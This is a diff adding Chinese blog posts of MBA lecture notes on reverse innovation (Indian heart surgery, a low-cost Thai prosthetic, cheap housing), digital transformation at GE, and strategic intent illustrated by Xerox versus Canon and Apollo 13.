+印度医疗的逆向创新极大程度上改变了美国的医疗。美国的医疗行业花了大量的钱，看病非常贵，质量还未必是全球最好的，另外还不能够保证每个人都有医疗。 + +印度有12亿人口，但是非常缺少医生和医院。怎么办？只有有突破式的创新，这是唯一的方式。 + +中国也必须要做突破式的创新，才能够释放潜力，如果这么做的话，其对于中国以外的地方也是有价值的。中国为什么要这样做，有两个原因，一个就是在中国本身有很多的非消费者，要把这些非消费者转换为消费者，必须做出低成本高质量的产品。在中国成功后，产品也可以卖向全球。 + +# 心胸外科的逆向创新 + +印度的Devi Shetty医生，他成立了一家医院叫做Narayana医疗集团，这个医院的开心手术只要2000美元，而相同的开心手术在美国的价格是要15万美元，两者之间大概差75倍，然而，这家医院的手术30天内死亡率是1.2%，美国是2%。这意味着逆向创新并不是低质量的创新，而是不断提高性价比。更加反直觉的是印度的那些非消费者，他们对质量的要求实际上要比美国消费者还要高。 + +开心手术的确就是如此，印度的医生需要掌握的技能比美国的医生还要高，为什么呢？因为从遗传的角度上来说，印度人的心脏比较脆弱，所以印度的医院的医生就需要掌握更高超的技能，而且印度污染还是比较严重的，卫生的条件跟美国相比也是非常糟糕的，换言之手术后的死亡率也应该比美国更高，然而事实正好相反。 + +如果你是为富人设计一个产品，那穷人就消费不起，如果你能够为穷人设计一个产品的话，那大家都支付得起。这就是逆向创新的能量。 + +这家医院成功的秘诀到底是在什么呢？主要是以下三点： + +第一，辐射枢纽模型。 + +第二，任务转移。 + +第三，勤俭节约。 + +Narayana医院位于班加罗尔，而班加罗尔是只是它的一个枢纽、中心，它在印度国内有500个辐射点。这些辐射点只有一些最基础的仪器、医疗人员，做一些初步的筛选，由辐射点来决定是否需要去医院动手术。 + +而所有最好、最贵的仪器和最好、最贵的大夫都集中在班加罗尔。 + +各地的基础医疗中心只做一些筛选，看是否需要接受手术，如果真的需要做手术才送到班加罗尔，这极大地降低了成本。 + +这套系统还有一个好处，就是它保证一定的供给量，500个辐射点可以源源不断地向总部供应需要做手术的患者。而海量的手术，可以通过规模经济效应，使得成本大幅下降。 + +在医疗领域，你完成的手术量越多，你就越保留在前沿，你就越能够掌握娴熟的技术。 + +所以，这是它的秘诀所在，高质量、低成本，再对比一下美国的医院是如何运作的？实际上美国的心脏手术数量还是最多的，问题是太分散，都分散在不同的医院里面，所以每一家医院承担的手术量是很少的。 + +第二个，任务转移， Narayana医院的医生只做开心手术，剩下非核心的任务全都是由基础医务人员来完成，而这些基础医务人员大多是农村女孩通过培训上岗的。她们做这些日常的工作可能要比医生完成的更好，因为如果让眼科医生去做一些小事情，比如说检查眼压等等，他会觉得很无聊，很枯燥，但是这些女孩子工作非常的有热情。 + +这种任务转移还可以变成自助服务。有一种免费资源的就是家属，比如说在开心手术结束之后，给家属看4个小时的护理视频，这些家属他就知道了应该怎么护理，这不单单是减少了成本，另外回家之后，家属也就能够继续的去护理病人，这样的话再次入院的比例就急剧的下降了。 + +对比一下Narayana和美国医院之间的差别。美国医院的任务转移完全做错了，比如说医院想降成本，他们会先炒掉低技能的员工，结果让高技能的的医生去量血压，去记录文件，所以不单成本没降下去，质量反而下降了。 + +还有一点就是要勤俭节约，印度这些医疗集团都是非常勤俭节约的，想方设法，只要在不影响质量的情况下，能够尽可能的节约。所以，医院里面的家具都是挺破的，只有手术室是有空调的，其它地方都没空调。医生的办公室也很简陋，但是你看美国的医院，就像一个七星级的酒店。 + +在印度有些地方的医疗器械是重复使用的，当然了，这也是有非常严格的消毒过程的。比如说做开心手术的时候，必须要有一个夹子把心脏固定起来，这个铁夹大概是360美金，印度医院会用100次，这样的话每一次使用就只有3.6块美金。但是在美国这个铁夹每次用完就扔掉了等于说用一次成本就是360美金。 + +另外，每天早上医生来的时候，医生都会看一看之前一天医院损益情况怎么样，医生打开手机，他收到的第一个信息就是昨天这家医院的收益情况怎么样，比如说昨天一个心脏手术的成本是多少钱，比如说昨天你这个开心手术是3000美金的成本，然后还会告诉你其它的手术是多少钱。 + +这样的话医生时刻都是要想着我怎么样能够降低成本。但是在美国医生肯定不知道成本是多少，只有会计知道。印度医院就像丰田一样，丰田将成本信息都告诉工人，工人才有动力想办法去降低成本。 + +这些医院的创办人既是医生，也是企业家，是商界人士，是慈善家。他们为什么能成功呢？有三点非常重要：一是过硬的医疗技术、二是富有热情和同情心、三是具有商业头脑。 + +这三者结合在一起使得他们获得了成功，所以我们把他们叫做具有社会责任感，但是又有商业头脑的人企业家。 + +这家名为Narayana的印度医院，在开曼群岛开了分院。这是一家有2000张病床的专业开心手术的医院，可以说是全球最大的心脏病专科医院，从美国迈阿密到开曼群岛只需要飞一个小时，这个医院它针对的是美国病人，美国患者只需要用极低的价格做开心手术，然后在手术三周之后，你就可以享受开曼群岛美丽的沙滩。 + +所以，创新的力量，甚至在一个很贫穷的国家做的创新，也能够复制到美国，这对于中国来说，其实是非常好的一个例子，中国当然比印度要富有的多，但是在中国还是有很多的非消费者，要把非消费者变成你的消费者，就要做盒子三的创新，如果说在中国可以做出来，那么在全球都可以得到应用。 + +另外，中国的公司有非常强的技术能力，为什么不去到更贫穷的国家或者非洲？非洲有那么多的非消费者，你也可以用你的能力释放非洲的市场，如果你可以释放非洲的市场的话，你就可以释放全球的市场，因为全球都需要你的产品。 + +# 假肢的逆向创新 + +再给大家举个例子，不单单只是印度，在泰国，有一个J医生，他也是医学博士，他的医学学位是在西北大学医学院获得的，所以他非常了解美国的医疗体系，他想给泰国的这些截肢患者装上假肢。但是泰国也是很贫穷的国家，就像印度一样，而一个假肢要2万美元，所以泰国患者根本装不起。 + +但是，这并不意味着泰国的这些截肢患者不需要假肢，所以这些非消费者和消费者有一样的需求，一样的梦想，但是他们需要一个极低价格的产品。所以如果你能够去做这方面的创新的话，就能够释放大量的市场潜力。 + +J医生决定要做一个30美金的假肢，30美金的假肢并不意味着质量就非常的差。他希望做一个和美国人装的假肢一样质量的产品，美国的话卖2万，在泰国30块钱，这就是盒子三的创新。 + +前文提到，非消费者往往需要更好质量的东西，比现有消费者质量更高的东西，对于开心手术是这样，假肢也是一样的，为什么？我们来这么想，比如说在美国，我有一个假肢，我是可以走在非常平稳的马路上。但是在泰国，我走的是颠簸不平的道路。另外，泰国人有一些非常奇怪的习惯，比如美国人做不出来的“亚洲蹲”，如果说你一直在街上这么蹲着的话，其实对你的假肢是会有很大的影响。另外，在泰国90%的人他是务农的，农田都是坑坑洼洼的，然后你现在装上了这个假肢，你在农田里面走，这个假肢有可能会陷在泥里面。 + +然后，你再想一想，在这样的情况下，这个假肢受力会有多大。在美国，骑车是一项爱好，在泰国，骑自行车就是为了养家糊口。很多美国人大概也就骑个半个小时，这是他们的一个爱好。但是泰国人骑车是为了挣钱，他们一天大概要骑自行车骑18个小时，如果你是一个泰国的截肢人士，装了假肢以后，想想你在这条腿上要施加多大的压力。 + +所以，杰医生他不仅仅是要打造一种假肢，而且它的质量要比美国的高很多，与此同时价格要做到30块，如果能做到的话，你就可以去获得大量的需求。 + +所以，杰医生做了两项创新，所以他的假肢是能够做到质量更高，而且价格只有30美元。第一个，美国假肢用的原材料是很贵的，比如钛。当然了，如果预算只有30美元，你可用不起钛。所以，他用回收的酸奶盒做原材料，成本等于0。 + +而且，这个30美元的假肢是非常轻的，又好用，又舒服。 + +第二项创新是安装的过程，在美国我们是要用非常复杂的流程才能够去安装你的义肢，这个过程又贵又复杂，而且它要花好几个周的时间才帮这个患者对接安上。但是，杰医生30美元一个假肢可请不起昂贵的医生，甚至在泰国都没有这样的医生，因此他的突破性创新就是去训练这些截肢人士，让他们去为别人装假肢。 + +这些泰国截肢的技术人员实际上他们装的技术特别的高超，可能比美国的那些专业人士还要好，为什么？因为首先他们不仅仅把这个当一份工作来做，他们认为这是神赐予我的一份神职，为什么？因为我的这条腿已经回来了，那我就应该要去回报这个神，所以他视为一份神一样的工作。 + +而且，他们自己是过来人，所以他知道怎么装可以不疼，他知道怎么样装可以动作更快一点、更准确一些，因为他自己是过来人。与此同时，这些截肢的技术人员他可以很好的把那些非消费者转换成消费者，就比如说就有一个人他说我在货架上看到2个假肢，一个是2万美元，一个是30美元，我为什么要买30美元的呢？然后他就说30美元的好，就装在我身上呢，30美元的特别好。 + +所以，这就是逆向创新的力量，我们面前所存在的机遇，30美元的假肢现在已经进了基尼斯的记录。我们可以坚信，每一个行业，无论是医疗、教育、能源和交通，只要你能说得出来的行业，都可以受到逆向创新的冲击。 + +# 住房的逆向创新 + +再给大家举一个例子，住房。现在地球上有3000万流浪汉，这相当于是英国一半的人口。住房是一项基本人权，所以，在5年以前，我在哈佛商业评论上面写了一篇纯概念性的文章，我就写说我们难道不能建一个300美元的房屋吗？给这些流浪汉。我说这300美元的给穷人的房子应该也是一个很过得去的房子，然后在这300美元的房子里面，我们应该也要有非常好的医疗治疗、教育和正常的工作。 + +那大家可能不禁要发问，怎么才能做得到呢？医疗不仅仅是在医院里面才能体现，还体现在你对房屋的一个设计和建筑上，现在这个地球上有3种流行病，杀掉了很多穷困国家的人，有肺结核、疟疾、霍乱病。 + +这三种疾病跟房屋是很相关的，比如说一个草屋，里面10个人打通铺，一个人有肺结核，其它9个人也不能幸免。所以房屋必须通风好。 + +另外，还有一个就是霍乱病，它是和水相关的，水传染的，所以房子需要保证基本的卫生条件。还有疟疾也是一样的，它是蚊虫来传播的，我们能不能通过这个300美元的住房来降低疟疾感染？所有这一切其实花不了太多的钱，我们只是需要有盒子三的这种创新思维。 + +还有教育，教育不仅仅是只有学校才提供，还有也体现在这个房子的设计和建筑上，比如说现在像在海地这个国家是没有电的，也就是说一旦太阳落山了以后，整个国家就陷入了黑暗，你能想象吗？50%你的生活就是生活在黑暗当中，海地的儿童太阳下山了就做不了功课。 + +所以，我就提出一个挑战，你为什么不能够有一个300美元的房屋来给大家提供电呢？这样子孩子就可以好好的学习、读书。 + +所以，我们为什么不能够用更少做到更多呢？300美元的房屋它就是用更少做到更多。而且300美元的房屋不能做成慈善，慈善它是不可能规模化的，我们需要用商业的运作去做这些事情，那么企业什么时候才能够被撬动呢？只要有盈利的机会，如果说你在30块钱的义肢、在300块的房子上能够赚钱，企业才能够去出动。所以现在我们说有这么多的人没有好的住房，那么50亿人没有好的住房，你只要把握其中的10%那就是这个5亿，所以就是每个人300美元的房屋，那你就可以挣几千亿。 + +这当然知识从概念上去探讨，我想给大家提出的挑战就是不要从我们现在的房屋概念开始，不要什么两房两厅还需要带浴室的。假使现在大家全都刚刚登陆到火星上，我们啥也不知道，需要从头来过。 + +非常让人意外的是我写的这一篇文章引发了各方的关注，最后还有人请求我再去做更多的研究，所以我建了一个网站，放在社交媒体上，大家也可以看到。 + +后来有2万5000多个人加入了我打造的平台，他们都是教授、设计师、工程师，都是和房屋建筑相关的。有了这么大的一个平台，我说我们一起来号召举办一项全球的竞赛，我们选了6个胜出者，然后我在达特茅斯的大学也给他们进行了一些指导，这6个竞赛的胜出者也提出了一些方案，其中有一个方案是来自于马衡达，这是印度的一家企业，他们把方案投入了印度市场，为印度的两个村落盖了房子。这就是逆向创新的力量所在。 + +对中国来说，首先国内就有大量的非消费者，我们怎么样才能把他们变成消费者？就是通过盒子三的创新，这是第一步。第二步，你可以走出去，带着你的战略走出去。 + +第二层的战略思考，我觉得中国还是比较发达的，除了中国以外，世界上有大把的贫穷的国家，太多的穷国了，整个非洲大陆就是很贫困的，还有印度大部分地方，泰国、越南都穷，所以我们为什么不把这些国家作为一个项目的目标，然后拿自己的能力过去建设？ \ No newline at end of file diff --git a/_posts/2019-06-03-378-mba1303.md b/_posts/2019-06-03-378-mba1303.md new file mode 100644 index 0000000..1fa0868 --- /dev/null +++ b/_posts/2019-06-03-378-mba1303.md @@ -0,0 +1,268 @@ +--- +layout: post +title: 【创新管理模块】 第3节 数字化转型 +pid: 378 +tags: [mba] +--- + +中国企业可以做的一件盒子3的事情，除了逆向创新，还有数字化转型。 + +1. 数字化转型 + +1.1 数字化转型的GE案例 + +什么叫做数字化转型？ + +举个例子，比如传统的通用汽车内燃机（用汽油），是通用盒子1的项目。 + +盒子1怎么来构建？ + +首先设计这款车，大概是一次重新设计，要花20亿（花6年时间），内燃机汽油传统汽车，打造一个全新平台大概需要6年时间。 + +第二，要建立一个厂，这是一个非常复杂的、多功能、综合性的工厂，因为内燃机有好多零部件，是非常复杂的组装厂。 + +第三，市场营销。 + +第四，把车子放到渠道里（4S），消费者可以去买车。4S店负责汽车维修，因为汽车内燃机等有各种各样需要做的保养。 + +所以这是传统的汽车行业。 + +数字化转型，汽车领域是如何来考虑？有三种颠覆的技术，为盒子3的创新打好了基础。 + +第一，电力驱动。通用汽车推出了雪佛兰Bolt，也是电动车。 + +第二，人工智能。通用汽车现在把赌注放在了自动驾驶，现在有一个事业部专门做通用汽车电动车自动化。 + +第三，移动技术。移动技术使得我们要做共享（滴滴、Uber），通用汽车现在也是进入了共享经济、共享服务，有一个来福车。数字化转型是一次非常大的盒子3的创新，为什么呢？如果你是现在来做共享汽车（滴滴、Uber）你不会再去问这样子的问题，这个车子是什么品牌。你不会去问车子的品牌了，因为我现在需要从北京国际饭店到机场去，你打一辆滴滴无论来什么牌子，你就坐呗。 + +所以，在共享经济当中，品牌这件事很大程度上就无所谓了。 + +为什么像通用、Google和特斯拉这样的公司，花了好多钱去投无人驾驶汽车？ + +因为像现在滴滴、Uber每次坐车大概70%、80%的收入给司机，但是自动驾驶汽车公司里面没有司机了。这样子公司的盈利就可以冲上顶端了，因此这些公司大力投资去做无人驾驶汽车。无人驾驶核心竞争力在于计算机科学。 + +如果说汽油（传统汽车）核心竞争力是机械工程，所以我想说数字化，全面对汽车领域进行了一个转型。因此中国企业来说，数字化转型是非常、非常关键的，第二次盒子3的创新。 + +就像大疆，大疆是做无人机，无人机是硬件，但大疆也是一个人工智能公司，因为它有软件，软件是搭配，硬件一起来使用，所以我们可以说大疆是数字化公司（软硬件的整合）。我觉得中国企业可以取得卓越，我们可以做一些高科技的制造。 + +我们现在也在人工智能、大数据软件方面打造自己的优势，可以很好来相辅相成。汽车领域不仅仅只是软件，无人驾驶汽车，车子还是在那儿，我们只是说要让这个软硬件去进行整合，这是接下来的一个机会点。 + +1.2 数字化转型带来的新机遇 + +数字化转型怎么样给我们带来盒子3的机遇？ + +数字化转型要创造价值，有三个条件： + +首先，重新定义规模的概念。在工业领域当中，企业以前怎么来增长的？扩大规模。我说的工业领域，20世纪初工业时代（通用汽车、通用电气、宝洁）所有这些公司，怎么来打造自己的竞争优势？通过放大规模。对于20世纪早期，通用汽车怎么来做规模？基于销售的汽车数量，所以这就是市场份额的博弈。 + +**我们可以增加市场份额、增加市场占有率来做大做强，这叫做规模。但是工业时代当中，这种规模永远是渐进式的。**为什么？因为你如果想要去提高生产和销售数量，必须要建厂。你想要卖更多的车，要建厂、4S店（渠道）都要花时间，所以规模是以前工业时代当中企业的增长模式。 + +第二，范围。就像宝洁，本来是做洗衣粉的，现在做婴儿纸尿片。这就是范围，对于宝洁来说，我们生产多少种不同的品类。规模是单一的品类当中数量增长，这是规模和范围的不同。 + +但是范围的增长，也是渐进的。为什么？因为宝洁再怎么扩大品类，也不能去做汽车，所以只能到一些相邻近的，能够利用自己核心竞争力的品类。比如说宝洁的核心竞争力分销，特别清楚怎么样渗透到超市里。原来洗衣粉进超市，现在只不过多了一种相似的品类。 + +规模和范围，这是工业时代里两种企业的增长模式。但数字化转型，可以从一种突破的方式来做规模和范围。**在数字化时代，销量看你所属怎样的生态系统，规模可以指数型去增长。**原先要靠一辆一辆车去生产、去卖，所以要靠有多少工厂、多少4S店，但是对于Uber（滴滴）来说，规模是看自己网络当中有多少辆车；所以滴滴的增长远远大于传统的车企。 + +比如说，万豪在酒店行业有50万间客房，花了几十年的时间。Airbnb，2009年才刚刚出现，仅仅过了10年，就有550万间客房。因为在数字化时代，我们看所谓的规模，看你所属怎样的一个生态系统。相似的，基于范围的增长在数字化时代，也是超速可以实现。 + +我们前面说工业时代的范围增长，你只能到相似的品类。现在你可以几乎进入所有行业，比如说苹果Iphone，上面有Itunes，所以苹果一下子进入了音乐行业，跟它们去竞争；还有一个APP拍照的，苹果一下子和那些照相机公司竞争了；还有一个APP Pay，又和支付公司、银行去竞争了；还有一个健康监测APP，苹果一下子和医疗相关的产业竞争了。 + +所以，数字化时代，企业的核心在于大数据、在于软件、在于人工智能，这几乎可以应用于任何行业。因此现在的范围，也不是传统概念了，可以是超速扩大范围。 + +我以前去麦当劳，看到一块牌子，上面说：我们已经卖了100万个汉堡包了，我们卖了1000万个了，卖了10亿个汉堡包了。这就是我们说的工业时代增长，看你卖多少个汉堡包。 + +**数字化企业不会去算，我现在到底卖了几个汉堡包，是算谁在吃汉堡包。只要他知道谁在吃汉堡包，就可以卖更多的产品。** + +最近我遇到了一家保险公司CEO，他说，我们有一个数字化战略？我说，你是怎么样的一个战略？他说，我建立了一个保险公司的.com，这不能算是数字化，只不过多了一条分销渠道。使用互联网作为工具而已，这不是数字化的战略。因为你还是想要卖他汉堡包，你也不知道你的客户到底是谁。数字化的企业非常了解客户，了解的程度可能超过客户本身，所以他们能够给到这些客户越来越多的产品和服务，也从根本上改变了商业模式。 + +1.3 反思商业模式 + +商业模式的定义，回答这几个问题：我的用户是谁？用户寻找何种价值？如何传递价值？需要何种竞争力？我们的竞争对手是谁？ + +那么数字化的技术，从根本上（软件到硬件）改变商业模式。 + +这里有一个例子。通用电气的飞机事业部卖飞机的引擎发动机，卖给新航、英航、阿航等等。他们卖发动机当然卖硬件（发动机本身），但是硬件里面肯定是嵌入软件的。因为发动机要和机长沟通，软件不另外收钱，软件变成是锦上添花，免费赠送。只要你买硬件，但其实靠什么挣钱？靠售后服务的合同。因为买一台发动机，大概用25年。所以你买一台发动机以后，像英国航空，还是需要找GE去做维修、保养等等，这个服务合同是赚好多、好多钱的，这也是通用电气飞机的商业模式。 + +我们说数字化的技术，能够从根本上改变商业模式，这可能除了逆向创新以外，我认为中国企业面临的最大机遇。因为我们现在非常擅长做生产，但可以改变商业模式。 + +GE发现飞行器引擎燃料效率每提高1%，航空公司利润每年可以增加20亿美元。也就是说，发动机燃料的效率提高1个百分点，航司利率每年增加20亿美元。我们可以利用一些数字化工具，产生优质的结果。 + +怎么样才能够用数字的工具，来提高燃料的效率呢？通用解决方法是装传感器。装了传感器在发动机上，可以产生大量数据。 + +比如说，一架飞机美国飞到北京，一次性飞行，产生几百万、上亿的数据。不同速度下面的燃料效率，还有根据高度的不同，燃料效率等等。一旦你收集到数据，可以去分析数据，产生洞察。运用这些洞察，帮助英国航空提高燃料效率。 + +举个简单的例子，当飞机着陆的时候，从它降落一直滑行到航站楼，每一个飞机平均有两个发动机。往往飞行员在滑行过程当中，要控制两个发动机，这是飞行员会做的。 + +GE分析，在滑行过程当中，不需要两个发动机同时工作，把一个关掉，大概一次去省10万。你想一下，英国航空每年有多少架次的航班。如果将所有航班架次上都加起来，可以省好几百万。 + +一旦有了数据之后，分析数据能够获得这些洞察，发现飞行员也愿意改变驾驶习惯，这就是我们所说的数据的力量，能够帮助你节省燃油。这种商业模式使得GE从原来出售产品，转为解决用户问题的销售方案。**数字化使得销售产品转为解决客户问题。**根据情况开展服务，基于你的数据，可以大致分析，什么时候可能发动机会出现问题。如果说你可以做这种预判，可以在问题爆发出来之前解决。 + +如果说在问题出现之前，你就能够解决，不会因为突然的故障，使得飞机无法使用。因为你等于未雨绸缪，可以通过维护解决这个问题。以前因为没有办法做到这一点，等于飞机突然之间出了故障，飞机停飞，维修，这个成本非常高。现在可以预判哪些地方可能会出现问题，你可以提前进行维保，英航非常愿意为此服务买单。 + +第二，根据客户的收入，比如说GE跟英航说我可以保证，增加燃油效率1%。因为我能够保证这一点，所以你的利润可以增加20亿，我要求分成，你给我40%。这样客户绩效的结果提高，你根据绩效的提升，然后分成。 + +现在GE这种软件做得非常、非常好，不单单卖给GE的客户，还卖给其他的客户。GE也是将软件卖给非GE的客户。比如说劳斯莱斯的发动机也可以用GE的软件，甚至这些软件还可以卖给其它行业。 + +我们想一下它的商业模式，原来这些是GE的现有客户，买它的硬件。在数字商业模式下，你的用户就是你所有行业的用户了，可以卖给非GE的用户，也可以卖给任何做工业设备的公司。价值定位原来只是销售硬件，现在可以改进硬件；原来是进行故障维修，现在可以根据硬件情况开展服务；原来免费赠送软件，现在软件即为服务；之前不会考虑到谁来吃它的汉堡，现在知道谁在吃它的汉堡。 + +所以，可以从客户所取得的成绩（业绩）上获得收益，包括航空、航天、智能等等。原来是长周期的硬件，现在变成周期比较短的软件；原来是封闭式系统，现在变成开放架构；原来是谈六西格玛管理，现在谈怎么节约；原来是讲100%完美产品，但是软件想办法做最小的可行产品。 + +标准合同、销售周期都不一样，原来是长销售周期，现在是短销售周期；原来是产品知识，现在变成客户的销售成果基于解决方案；竞争对手原来是劳斯莱斯和惠普，现在是Google、IBM。 + +1.3数字化转型的十大原则。 + +我知道中国在人工智能投入非常非常大，大数据的分析软件，关键的一点是要能和硬件连接在一起，这里有大量价值。如果你想这么做，数字的转型能够帮助到大家。这里有十大原则。 + +第一，你要创造燃烧的平台。 + +再回到GE案例，在2012年开始这样的工程项目，因为他们发现，有一些硅谷的软件公司，在接触英航，给英航提供一些软件，说你给我一些工程的数据，把数据交给我们，帮你分析，给到你洞察，告诉你什么时候要去做维护。 + +GE很害怕，维护保养合同可能慢慢从原来GE手上，到了第三方这里，所以燃烧的平台被建起来，等于要看到一个威胁。对于很多工业化的公司，如果你不做数字化很快会死。你要说服整个组织，我们必须要做数字化，否则我们会死。 + +所以，要想办法创造燃烧的平台，创造紧迫感。 + +第二，你在做数字化转型的时候，必须要有一个数字部门开发软件。这个部门的头儿必须来自于数字世界。因为在很多行业和公司，并没有数字化的人才。可能是有IT专家，他们关注的是效率，不能够打造软件即产品、软件即服务这种产品，你得招一些数字世界的人，他们真正能够去做数字转型。 + +第三，确保你的数字项目负责人有一个工业技术背景。归根到底是两者（硬件和软件）融合。 + +再回到GE案例，他们做了一个软件中心建在硅谷，招了硅谷的一些人来负责。硅谷的软件中心主要负责由飞机发动机所收集的数据，这仍然在工业部门，他们有客户、有数据，所以这两个部门（硬件和软件的人）之间必须要合作，必须要有工业背景，能够教这些数字的人才，到底这个硬件是怎么一回事，这一点非常重要。 + +第四，你要不断去演练，告诉你的员工、客户你在做什么。好好跟客户解释一下，到底在做什么，看看客户是不是喜欢给他带来的这些不一样的结果。 + +第五，你必须要有数字的人才。GE数字化中心在硅谷招了2000多人。你去招软件人才的时候，他们并不是想我到底应该加入GE还是劳斯莱斯，他们说我是不是要加入GE，还是说应该加入Google。 + +所以，你得给他们不同的薪资，往往他们都是比较年轻的员工，喜欢在硅谷这样的环境里工作，所以你要打造一个很正确的环境，而且工资要给的不一样。 + +所以，你肯定是要吸引不同的人群，比如GE去雇佣硬件（制造、生产）的人，往往要填20页的表格。你去招一个硅谷的人才，填一个20页的表格，根本没有这个耐心。人才招募技巧也要不一样，给的工资也不一样。 + +第六，你的数字部门必须是独立的部门。这也是为什么GE数字部门设在了硅谷，这个部门要和总部连在一起，毕竟客户是总部管的，总部也有数据，所以部门是单独列出来，要和总部能够联系在一起。 + +第七，非常重要的一点，每一个业务条线要有首席数字官（软件和硬件能够连接在一起，里面可能有一些冲突，要管理好）。 + +第八，GE也想了一个冲突解决方案，销售业绩等于两边都要分。一个工业部门，另外软件部门，如果都能分到，工业部门也愿意开放数据，同时软件部门能够有客户来买产品。 + +第九，从原来产品为导向，转向建生态系统。软件不可能什么都能够做到，所以要有一个应用的开放者，要开放你的平台，让别的应用能够嫁接到平台上。 + +第十，还要想清楚什么时候会有这种客户的分流，解决同类相食问题。比如说，你要做数字化，有可能硬件的销售会下降。因为你做预判性维护，原来是发动机坏了之后去修，做软件服务是基于预判了，维修收入会下降，要应对这种收入分流问题（同类相食问题），要从原来卖产品，变成打造一个生态系统，必须要做这样一种转型。 + +2. 战略意图与盒子三转型 + +如果你希望能够有创新能力，必须要有非常大的战略意图。 + +2.1 公司A与公司B + +假设两个公司，公司A、公司B。公司A有大量的资源，但是梦想、野心非常小；公司B资源非常少，但是公司B有非常大的梦想、非常大的野心。所以公司A的想法，永远要维持现状。但是公司B资源不够，非常少，要获胜必须要通过“创新”。 + +举个例子，70年代早期，施乐公司成为全球复印机领域的老大。它们生产复印机卖给公司是20万美金一台，这个公司有大量资源，但野心不大，所以施乐公司竞争方式，想办法去建立壁垒。你一旦大量建立壁垒之后，就觉得自己是安全的。 + +施乐等于是建了很多城堡，围满了进入壁垒。 + +首先，第一个进入壁垒是专利。它将设备20万美金/台的设备，各种各样的特点全部申请专利。所以，任何人想进入这个领域，你会看到有专利的壁垒，必须要去克服这一点，怎么办？要去花很多钱，才能够打造出比施乐专利更好的专利，所以这是第一个进入壁垒。 + +壁垒二：施乐的设备要卖20万美金，都是卖给大公司。在美国只有大概500多个大公司（GE、百事可乐、可口可乐），这个大公司有一个复印中心，复印中心会去买20万元的产品，只有这500多个公司是它的客户。所以，他们打造了一个直接销售的团队，销售团队质量非常、非常高，而且和财富500强公司打造了非常坚实的关系。 + +壁垒三：24小时服务组织。如果设备出问题，整个复印中心就不能工作了。所以像GE这样的公司，如果有一个复印中心，要求你24小时都能提供服务。如果设备出问题，你马上要派维修人员帮他们解决问题。像GE这样的公司，不管价格怎么样的，关心的是100%设备都能够进行复印。所以，施乐做了一个非常好的服务团队，24小时，而且服务团队技术非常好。如果你要进入施乐这个领域，也得打造这样一个服务团队，这是第三个进入壁垒。 + +壁垒四：除此以外，施乐并不是直接卖给你，而是租给你，所以通用电气要买20万的设备，并不是直接给你一张支票，上面写着20万美金，可能给你的是每个月租金。也就意味着施乐等于为这些客户的购买行为提供资金支持。如果你要进入施乐这个领域，这家公司得像银行一样，有非常多的钱为客户购买行为去融资，所以这是第四个进入壁垒。 + +第五，施乐花大量的钱打造自己的品牌，在当时那个年代，可以知道施乐的品牌有多么强。 + +任何一个进入壁垒就足够了，你有五个（进入壁垒）等于建立了一个城堡，施乐的人在这个城堡里面坐着。有那么多的进入壁垒，你根本没有办法去打破它。所以，你不可能玩它的游戏，遵守它的规则来和它竞争。 + +在70年代早期，有两家公司（IBM、柯达）想要去攻击施乐，IBM有很多的资源，野心也不够（就像公司A）柯达也有很多资源，但野心也不够。所以，柯达和IBM想去攻击施乐，想按照施乐的方式玩游戏。问题是你如果按照施乐的游戏规则去玩，不可能获胜。因为施乐建了非常多的进入壁垒，所以IBM和柯达都失败了。 + +佳能是坐着热气球来的。如果你是坐着热气球来的，原来建的这些护城河、进入壁垒全都没有用了。 + +佳能资源不够，但是想法非常宏伟，这就像公司B（有非常远大的梦想、资源不够）怎么办？要打败施乐，不可能按照施乐的资源来匹配，因为你根本没有这些资源。 + +所以，你要获胜的唯一方式是盒子3的创新。 + +佳能进入市场针对一个完全不一样的细分领域（个人、小的企业）。施乐关注的是大公司，佳能关注是小的公司和个人。他们卖的是1000美金的复印机（个人用桌上的台式复印机），这样的话，所有进入壁垒都没用了，因为你的专利都是大设备，佳能做的小设备；直销团队也没有用了，为什么？因为如果你是卖给几百万个人用户，不可能说我直接打造一个直销团队，所以1000块钱的机器，在那些经销商那里卖，自己不建销售团队；24小时的维护也没有意义了，为什么？因为佳能确保这个设备100%可靠。如果这个产品100%可靠，等于你也不会坏，也不需要去维修，对于那些比较容易坏的东西，佳能是模块化生产，你可以买一个零部件自己换；资金支持也没有意义了，因为也就1000美金的复印机，客户直接付现金买下来了。 + +这里我觉得是最大的挑战，同时也是中国公司面临的最大机会，你得有非常宏伟的战略意图，如果这样你就可以重新改造游戏的规则，在每一个行业里边都可以想出全新的跳高方式。 + +2.2 改变游戏规则 + +有关于改变游戏规则的例子，不得不提一个电影，建议去看一下——《阿波罗13号登月计划》，这是好莱坞的一部非常好的电影。 + +这是阿波罗计划里面的一次任务。阿波罗13号现在离地球20万英里，突然一下子缺乏了氧气和动力，没有办法登陆月球。 + +那时候阿波罗13号剩下的挑战是机上宇航员怎么安全返回地球，现在离地球有20万英里，而且现在机上缺乏了引擎，也没有氧气。 + +所以，现在的挑战3位宇航员，怎么样可以安全返回地球。 + +《阿波罗13号》控制模块，只剩下一点点动力，把这3位宇航员送到指挥舱。大家也发现了，和地球还是差一点距离。如果你们看电影，会发现这次任务总管（阿波罗13号主管）有一个非常大的梦想——我们会把这3个宇航员安全送回地球，不会是一次失败的任务，这个成功的概率大概只有5%，95%的失败概率。虽然可能里面有95%的失败概率，所以这次任务CEO说，我们一定会让他们活着安全返回地球。 + +这里面有两条非常重要的心得，当然中间大家可以去看电影，关于三盒，这个电影里面到处都有启发。 + +实际有好几个高管看了这个电影以后，花了一整个礼拜时间去复盘、分析电影，也就是讨论三盒创新里面，电影教会我们什么。其实每一幕，你都可以停下来去分析。 + +比如说，怎么样去建立大大的目标，怎么样去改变游戏规则，怎么样去识别一些非线性的领先地位，怎么样去协调你的资源，怎么样做盒子2的创新等等，各种各样的启发。 + +从中挑几点，聚焦于几个非常重要的心得。 + +比如，在这次任务CEO说的话，我们一定会让他们返回地球，这实际上发出了强有力的信号。首先拿了阿波罗13号的一个计划，扔到垃圾桶里了。关于这次飞行的一些计划书（本来的方案）全扔掉了。我们先要学会忘记才能建立盒子3的创新，这也是他做的一件时期。 + +还有一件事情也是一个强大的信号，他说：我们一定要让他们活着安全返回，这是我们能够做到的最好的一件事情。他告诉组织上下，如果有人不相信战略的意图，我现在立刻离开这个组织。如果你不相信这个旅途，我们现在就离开。为什么这一点这么重要？不仅仅你要有一个非常大的梦想，还不能够有任何怀疑，组织上上下下大家一定必须要去相信。因为一旦有怀疑，会引发别人的一些负能量，这也是非常强有力的信号。 + +接下来他们采取了一系列措施，能够让这3位宇航员返回家园。他们走的每一步，非常接近核心竞争力，或者是盒子3当中的创新和颠覆。 + 